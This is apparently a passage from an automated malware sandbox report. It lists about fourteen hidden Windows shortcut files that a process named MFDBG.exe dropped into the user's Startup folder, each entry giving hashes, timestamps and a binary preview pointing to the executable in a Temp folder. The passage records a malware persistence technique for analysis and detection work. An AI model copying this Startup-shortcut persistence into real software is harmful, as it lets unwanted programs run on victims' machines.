File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923775626104469
Encrypted:	false
SSDEEP:	24:8BBfLf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8bQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	EFCDD400BD7805C654E444CFC1FC7FD7
SHA1:	F24796ECC34109A92A8E87A30AF12C97082B71C0
SHA-256:	34EC2F7D0DDF814727664817FF4BFE2DEAC63564DF1D115C00D5C70AC4767A1D
SHA-512:	E9229BE441EDA206BEDCEB050FF45C97C3C412CB6A388031AEC9CA71FEACDF8D6E7CF28B59431C24A99E61DEF9E3FAA6969AC33A7A229263F1B375647A631F0B
Malicious:	false
Preview:	L..................F....".......d....[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a4edc110e1a54c89aeb875c642b73cd0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:10 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931489183375097
Encrypted:	false
SSDEEP:	24:8ZBfW8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8DDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DEC1E2A27ED08C226E8F1DC01D335192
SHA1:	9E8710E06CF0E60F088256CE9626E5D071D07FBB
SHA-256:	FBA9150E773263845E975E1CEA449EDA736597F962CED224A1795A10FB4626D8
SHA-512:	2BEC1E538DB5E136E8765B15CCBEF234DFDFDF64AAB081DD4319028F211C1BC8FCF051A320241ED981EEDB21DD1060163AF97AB78EA804E957D97EBF79E667BF
Malicious:	false
Preview:	L..................F....".......d......#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....<#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a51aaecc40e3455ca0c8b1320ae41847.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922719242991925
Encrypted:	false
SSDEEP:	24:8CBfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8wMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	15D334BA4274D223F5D81187446FDF0E
SHA1:	AF3CFE546ABD1A0F01DB34A8AD4E709F3B24EEED
SHA-256:	C22458AA80B932CDA285C7407B498D6B0C1E548C9CEA223110C9B3ACDBCD0014
SHA-512:	F8840D7F519FAB76C238DC6CB4F58CA58B5BEFDDF2080DF0EA7FE6A725D04F233A1E75BB3F1BC2CF4BEB6B9D8328FBC12CE9D309C42879EF1CF74556493A69FF
Malicious:	false
Preview:	L..................F....".......d.....?]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...rIm]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a520191e0b1246289c647b20d075c1de.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923798385178445
Encrypted:	false
SSDEEP:	24:8sPQBfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8s2GEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9CC1F063553362D18D4F79A4BD32E6C8
SHA1:	87B6E0C6CE1DD4B7EA71FA19D4701604D5170429
SHA-256:	F06E63D4D3EE1BABDC6CC5ECD93EC6B969C72FFD237AF657D3C069BFFD5C4E6A
SHA-512:	0F828A7F94BB9B0B90FC93AFF9CCE229D43144129EE6BA11F4CE717A0A639532466175517D585036CC5ED893C7145289E2B395352A4FB31EEB629C9C256C772A
Malicious:	false
Preview:	L..................F....".......d.....\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....X\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a57ada7b6cac417bbaae9bea3a1240f1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918671490505811
Encrypted:	false
SSDEEP:	24:8pBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8TYEvZ0yRO7DLO2zdxdRd1kyg
MD5:	22A38B760FF821A8E404B4783D5F68CF
SHA1:	6A80DB0A568AB006DCD806FEA22BBCBCDC58D9F3
SHA-256:	F87760B461B3389628DEBBB35BAA874F3BC4D02E11E7A2CE7D14011244A339E4
SHA-512:	99E776D790C80BD503ECA38FD71EACEA89C9DE499BD51D3760C125C3EE305DC8257B6A0E38BF5CEB1CD551462D97E9CE3E27246E68C988AF86E9FE7A965A1C84
Malicious:	false
Preview:	L..................F....".......d...1...d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...1...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a5c89dbc0a0147bc9cda62903a5e414b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929727068837651
Encrypted:	false
SSDEEP:	24:8WDBfq8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8sPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D4CE396B5FC1BB7398C5C7DB646D92B4
SHA1:	EAFC43542618B822C32F1ECC066AD2FF1038FAFC
SHA-256:	99D2FCFB32DB11E30841071CB10BA8564BCF6674616787D1E35EAE75974A4CEE
SHA-512:	87210B8491A7E1C2121629EC88B0C83903CE1873F44D6DB335144C8326A590ED63EE942FD0881C703B659B30E9050E7FBAA7339E0A894B1196AA9BAF32844667
Malicious:	false
Preview:	L..................F....".......d......]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a72889b2d35541f4b00f3df041af338e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918235758181302
Encrypted:	false
SSDEEP:	24:8dcBfX48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dSP9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	8039A4DDB5FA36DB0229CAA7711227DA
SHA1:	FAF019930C43BEE12DD2971A5915ACDA8F19018B
SHA-256:	096AE30FB4D07BAF3BFA985A7B5AE1CEB07D62236186223D23B864A0258C4747
SHA-512:	63AF24310351C111CBEB5CD8747E66AC46415038A91E13F1608FF1B21ACF0DB9C0FFFF67B34B9D51AAB80A8F2CE3082153473132F2AEC3DD1D34B9B2EE481FA2
Malicious:	false
Preview:	L..................F....".......d....].}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....6.}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a74090e8956d40b1ade27ebeb3aa426f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922664502819148
Encrypted:	false
SSDEEP:	24:8OTTBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OReEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F8E919187C624C7C22A3B5247F70854D
SHA1:	C1E375609D80A6361F898E88DCF08AA3E0A28E9C
SHA-256:	E4BE33FD5023B5A215B284557BAEE43F0AC03C353CD665C79844FC05FACB956B
SHA-512:	60783AF0663E7B1967A9280292BAC1188A905C800AA5666EC498F7B7678F2794746AEF3736CC95A03CCDF366091B30004534139DBFB87F618F53B08C44335F4D
Malicious:	false
Preview:	L..................F....".......d...5.G$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....($$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a743113bb7e749dfa4965f279611659b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917514703628329
Encrypted:	false
SSDEEP:	24:8WBfm8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8cDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7C314F5BFD269DEDD8522A7E01DE0A8E
SHA1:	7326CDB331100151512CC09EBFD035F779F5810B
SHA-256:	4E631024E37B52CE206809CEEC5B0C77D59D0463E6F4B6F213D007567ACCE1B0
SHA-512:	CD0D0D1EDE9071D1F4D9DFE62FB42AFA11AF0BEC5AB37E41D65648BCCB5D2E96F386960D04D85A726F3E48AA858388FC9C0BC40553D320938249E69EBE89F55A
Malicious:	false
Preview:	L..................F....".......d....D.&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a80cdde7397f464e815d83c66b57f852.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928754907562094
Encrypted:	false
SSDEEP:	24:8ABfHf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	778CF35D48502B5D6ADBDADFF21660B5
SHA1:	561DF66C8210BE58D9D7D72E692FE562FE61277A
SHA-256:	85DC4CB2D8B6301CC7CC141B6D7C9B93003441EBB5922FA97E0C389B0869394D
SHA-512:	3DCA1E7325D4F3F93329EA10FA60AFB37D494A98AC8C44191DDF772DBE5A2E507440EE23B9FF443C6B389170772FF13FF9EE8414F6B2F279EC7B0F3B9231125E
Malicious:	false
Preview:	L..................F....".......d...#..[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a81f7826afb5449a839b1ee91d46d259.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930070997935065
Encrypted:	false
SSDEEP:	24:8HrBfOD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8HdbEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7D8577EB37C150B3695407A9D29B34EF
SHA1:	DA5E02D8A03424ABF193BD858AF0EBB6F8CEE560
SHA-256:	98FBCF209F7F55F11C92D67D28CB0DBE02CDADA5971732E2A1581865D91D5EDD
SHA-512:	989D08495041646CFED1729AB9068C05788E365DD5897AA87B3CFB126DB303B947872A1B4F724EDE968EB3784B8621C3F36921DE51F4E5CA9E7DAF2F00083998
Malicious:	false
Preview:	L..................F....".......d.....~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a8fb2c0a2a2c4eb9829effb4e6edad58.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923933727271062
Encrypted:	false
SSDEEP:	24:8yBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8gPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	894BA38436CF71F16629A933E4CE5B1F
SHA1:	F8B78FB6B52EFC5C01B92FE062CDA72EEE56C135
SHA-256:	F4A9FCACF33E8FDF43279862A496B60D8C5765EC4513A054825ECCCE01D39574
SHA-512:	1FBA58214455FA8EF4FB4BD5761C1403D50E99B311C1E6163702AA460716B0AC5201935F250F633F2128566292B91FB08F70BA7CC672861611A6C30528A24A92
Malicious:	false
Preview:	L..................F....".......d....[&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a9b6bcdab67a48fa9ab771f6a1329151.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917148596298855
Encrypted:	false
SSDEEP:	24:8ruBfEf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8rEBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E2726B9BFBFDE2C767DBDF3DAD0244C9
SHA1:	22042157AECF28539A68977D059D87C0F83052D7
SHA-256:	491DEE4A4211C5813C497A51E805A3ABF7FA62CA229D5EDA0823C9D00368D8AA
SHA-512:	B99B29E6154DE0EE3ECC1496E8B01D4C1928CF1E12B0263039A121BB9820EAE003E74CB20493A6C2431EF0701A9E0ABCF91310BEB84144C5A919B5B8CD92E2E7
Malicious:	false
Preview:	L..................F....".......d...9.T.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....F.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a9c532f7c5974a7eaee02bedebe1cbdf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
